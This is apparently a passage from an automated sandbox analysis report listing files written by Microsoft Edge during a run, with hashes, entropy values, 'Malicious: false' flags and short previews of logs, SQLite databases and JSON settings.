Preview:	2024/11/25-01:53:54.107 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-01:53:54.108 1f20 Recovering log #3.2024/11/25-01:53:54.113 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.173059625883048
Encrypted:	false
SSDEEP:	6:HAZW834q2PN723oH+TcwtpIFUt8YAZWsNJZmw+YAZWsNDkwON723oH+Tcwta/WLJ:go8IvVaYebmFUt87osX/+7osF5OaYeb7
MD5:	01FECBAA3838E0F4C5C090832EE36F37
SHA1:	FD67BFF769A5643EBF3E0DBA885E92D5C34F7443
SHA-256:	6147257744FCECB29D09805A58AC505E9F72C6E10800B39AB082634CBA2E0081
SHA-512:	171E913B365E30F61425243EDF049556AFC9434817F4BF679DFAEFFBB315049743DE52335B2BF3D7D58BB5BF7996F87CCAF0E3C18F3BAFFC444FA9092D5FEFFD
Malicious:	false
Preview:	2024/11/25-01:53:35.479 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-01:53:35.480 1e40 Recovering log #3.2024/11/25-01:53:35.480 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.173059625883048
Encrypted:	false
SSDEEP:	6:HAZW834q2PN723oH+TcwtpIFUt8YAZWsNJZmw+YAZWsNDkwON723oH+Tcwta/WLJ:go8IvVaYebmFUt87osX/+7osF5OaYeb7
MD5:	01FECBAA3838E0F4C5C090832EE36F37
SHA1:	FD67BFF769A5643EBF3E0DBA885E92D5C34F7443
SHA-256:	6147257744FCECB29D09805A58AC505E9F72C6E10800B39AB082634CBA2E0081
SHA-512:	171E913B365E30F61425243EDF049556AFC9434817F4BF679DFAEFFBB315049743DE52335B2BF3D7D58BB5BF7996F87CCAF0E3C18F3BAFFC444FA9092D5FEFFD
Malicious:	false
Preview:	2024/11/25-01:53:35.479 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-01:53:35.480 1e40 Recovering log #3.2024/11/25-01:53:35.480 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676340364364138
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM3SA1LyKOMq+8iP5GDHP/0jMVumU:Kq+n0J391LyKOMq+8iP5GLP/0h
MD5:	95D0A9326408B1AF16878F55DA9DF5A9
SHA1:	6819459B4836E0E48A3A5966A72BCF77B819ADF0
SHA-256:	F41D3945CBC451108CA7C32849843A751EFCD9459BB2C2D954702F94E48614C3
SHA-512:	8AED4A8A649CFF012339BE8F759AC4BE16D48378C363C575CEE69A15922C0CD802649CA271EA40B40ECB230546E3AB8AAE7071A8E217D6803BABD52A89C6D0E5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4653578227953523
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0SAqp:v7doKsKuKZKlZNmu46yjx0pqp
MD5:	DA2A48247A2B4B175962BAE9C7AF51F8
SHA1:	90D7ACDEC68BBC93B941ECFA51C88B6F957FD38C
SHA-256:	B6AF6F38F62DE56F925B992F90A2162E477A44BE92401DA818B0A71F1582B46E
SHA-512:	2F1A38D142F41F3D5E167DC38A28D49692D706941A6629861AA813C2A535747E7ABD3E4D8C869E7C07CA489850764D94F77CDB4BFE754EDBD1806A1B44C0F7AB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c3c9eb42-4ae0-44af-b9ee-6ac5ee8a2a6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c9624565-8685-477b-aef9-e0a03e6cbc46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17347), with no line terminators
Category:	dropped
Size (bytes):	17351
Entropy (8bit):	5.478876620718394
Encrypted:	false
SSDEEP:	384:stBPGQSu4/s4KCDvePmcE2VujDC4HwbGJQwCIu:sDOXu8KCabxbGarIu
MD5:	48F70FCE01EFD744C17A924E69E78E2D
SHA1:	5409137AF334A5100CC02A545A59DB6F558C90FE
SHA-256:	AE7175826CA9090F017E28D53442E090F433C63C17A90B4991C7D43329FC2669
SHA-512:	D7C426799D4D089DC0AC3F6B262DB70FF3FE0F9326B2B00B56354194DF2720E3EFA5C847EEB5153A29A6CD3E235848DCC0DFCFABD219394D3099270C8CC924C6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d6d91c48-e4f7-4de1-a82e-3a2010d8ccc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.1055269346824685
Encrypted:	false
SSDEEP:	192:stBkdp/s4KaFvrE9kyGY8ubV+FW4QAwUI+PEYJ:stBQ/s4KCDabGJQSIu
MD5:	DB198E6488D02B499FB175C32E928AF4
SHA1:	E4224D26E0784A9178EF69CCDDE4D1B8E564CF0D
SHA-256:	739971C3692785472567E9292D6731268A8EB1D298F1AC1002A03A6B529B6860
SHA-512:	AFB3C407F5C9FCBA39F2EB7B0F9ADCC0E8587C08DE3AF8740B7235DBFC7702504F89C429DD5B4A4EC5BC646AEDFDD6BF4F134E1F53F59025080EEDD59AD45767
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10255517001549112
Encrypted:	false
SSDEEP:	12:+r+wrKspEjVl/PnnnnnnnnnnnvoQ/Eou:+R7oPnnnnnnnnnnnv1j
MD5:	C059516805B5863E3856E60E2C143DE2
SHA1:	23FF79FB3A78838757BC1796F746EF9E81CF2DF8
SHA-256:	A64D3FE714CDD632A4357DEF4CF71F4AA2F61B7CEE63529BE23576B4D16E2463
SHA-512:	18B40D1B0728D77DEFF152E95CFACE2FE0A8CF5E460B2B4284330D66812577C4A086FDFE3C8F498DC625C18DA626D4D5B6092AC03499EF039C1E40ADC408C4B8
Malicious:	false
Preview:	..-.............M.......O.Km.f.$J...V..H.....ju..-.............M.......O.Km.f.$J...V..H.....ju........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8869215643236935
Encrypted:	false
SSDEEP:	384:SbDOaTEQ0tqntQMwtR/tnHtZctO21Ctyv8SyQyNKyNyumyhxytVTa:F36w
MD5:	61CFFB331ACE214581EB941C1F31B3E6
SHA1:	3CB8812AFE0FD03CA3372EE29A538DE74A7EC369
SHA-256:	7C754644E17E0C1BDA70CBE4F2FA56AB444A4FC534C2F7189F5837DB9F19776A
SHA-512:	A5A0B5618DECFA5B45898F5BB6A8F1CD3722EE45D0A13DB619223F8E703B3D30B38E26BF467E4D0D70E3BA27EFDC2C01F51A60AEEAFC98372A4A240882FBCE2B
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.579604870843036
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuHll+L2BO8J/:pHayslNX/
MD5:	4689B09E1698A8342A04B14276F2FD9B
SHA1:	A1FB868CDB1B9117A8D7A11FA28E74C1C6BDC0B2
SHA-256:	4A69036D16FEB5A34379B1FDB2B90E462DBFA12CA05EF9F92887154D9B9937A5
SHA-512:	C736A1D64EF3DBD92B868601969E3374CD4BE6D56461DE2376E25F282DBF91EE1FD8EBA3DDBB33920AC37AE5F61D4376D8BED15A0048C3514C535C02B782777E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................#;...............#38_h.......6.Z..W.F.....T.......T............V.e................V.e................V.e................$..&0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.246588907854951
Encrypted:	false
SSDEEP:	6:HAZWcr+q2PN723oH+TcwtfrK+IFUt8YAZWcbZmw+YAZWcrVkwON723oH+TcwtfrF:go1vVaYeb23FUt87oA/+7oo5OaYeb3J
MD5:	D1919EC247CD10D74FA67B742409CB6E
SHA1:	7A0C58ED66EDD9D1FE7B7871D57E887A4C1FCE0C
SHA-256:	DA04613567502FE6A864BD1CF3808CDC1BC2FBE5E8C11A6BD9F8C976825298ED
SHA-512:	8F5C1C8918A0F4A0C0EE2BBA013883A9A3D8C5334462F0DEFD6FD0235EF7FDE9F9B0C0DC6E088A9D2D5D9C9E255416419389B7CA760DFEF41E4777613E8E95F1
Malicious:	false
Preview:	2024/11/25-01:53:36.036 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-01:53:36.036 1f98 Recovering log #3.2024/11/25-01:53:36.036 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.246588907854951
Encrypted:	false
SSDEEP:	6:HAZWcr+q2PN723oH+TcwtfrK+IFUt8YAZWcbZmw+YAZWcrVkwON723oH+TcwtfrF:go1vVaYeb23FUt87oA/+7oo5OaYeb3J
MD5:	D1919EC247CD10D74FA67B742409CB6E
SHA1:	7A0C58ED66EDD9D1FE7B7871D57E887A4C1FCE0C
SHA-256:	DA04613567502FE6A864BD1CF3808CDC1BC2FBE5E8C11A6BD9F8C976825298ED
SHA-512:	8F5C1C8918A0F4A0C0EE2BBA013883A9A3D8C5334462F0DEFD6FD0235EF7FDE9F9B0C0DC6E088A9D2D5D9C9E255416419389B7CA760DFEF41E4777613E8E95F1
Malicious:	false
Preview:	2024/11/25-01:53:36.036 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-01:53:36.036 1f98 Recovering log #3.2024/11/25-01:53:36.036 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.226292804641599
Encrypted:	false
SSDEEP:	6:HAZWcE+q2PN723oH+TcwtfrzAdIFUt8YAZWckZmw+YAZWcRVkwON723oH+Tcwtfa:goGvVaYeb9FUt87o//+7om5OaYeb2J
MD5:	CE38B9E18DFBBEBC2F8643869AB5F8D6
SHA1:	F62FD741FFC67CDC5ACD1A4376024B8AC0D697C6
SHA-256:	8EEF4C4261B4C579EB2BEF2B0B363E10C0C5FBD5AFF7C50F273AB9CB644BFB5E
SHA-512:	C56523411F0A268745591F75D4D4558821DFC95DD7F01E0A40D1ED45957956A2C93D19EE854EB35309730BFC3A9456BDFA87C43E4B879881E3E226080525F415
Malicious:	false
Preview:	2024/11/25-01:53:36.033 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-01:53:36.033 1f98 Recovering log #3.2024/11/25-01:53:36.034 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.226292804641599
Encrypted:	false
SSDEEP:	6:HAZWcE+q2PN723oH+TcwtfrzAdIFUt8YAZWckZmw+YAZWcRVkwON723oH+Tcwtfa:goGvVaYeb9FUt87o//+7om5OaYeb2J
MD5:	CE38B9E18DFBBEBC2F8643869AB5F8D6
SHA1:	F62FD741FFC67CDC5ACD1A4376024B8AC0D697C6
SHA-256:	8EEF4C4261B4C579EB2BEF2B0B363E10C0C5FBD5AFF7C50F273AB9CB644BFB5E
SHA-512:	C56523411F0A268745591F75D4D4558821DFC95DD7F01E0A40D1ED45957956A2C93D19EE854EB35309730BFC3A9456BDFA87C43E4B879881E3E226080525F415
Malicious:	false
Preview:	2024/11/25-01:53:36.033 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-01:53:36.033 1f98 Recovering log #3.2024/11/25-01:53:36.034 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b0b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
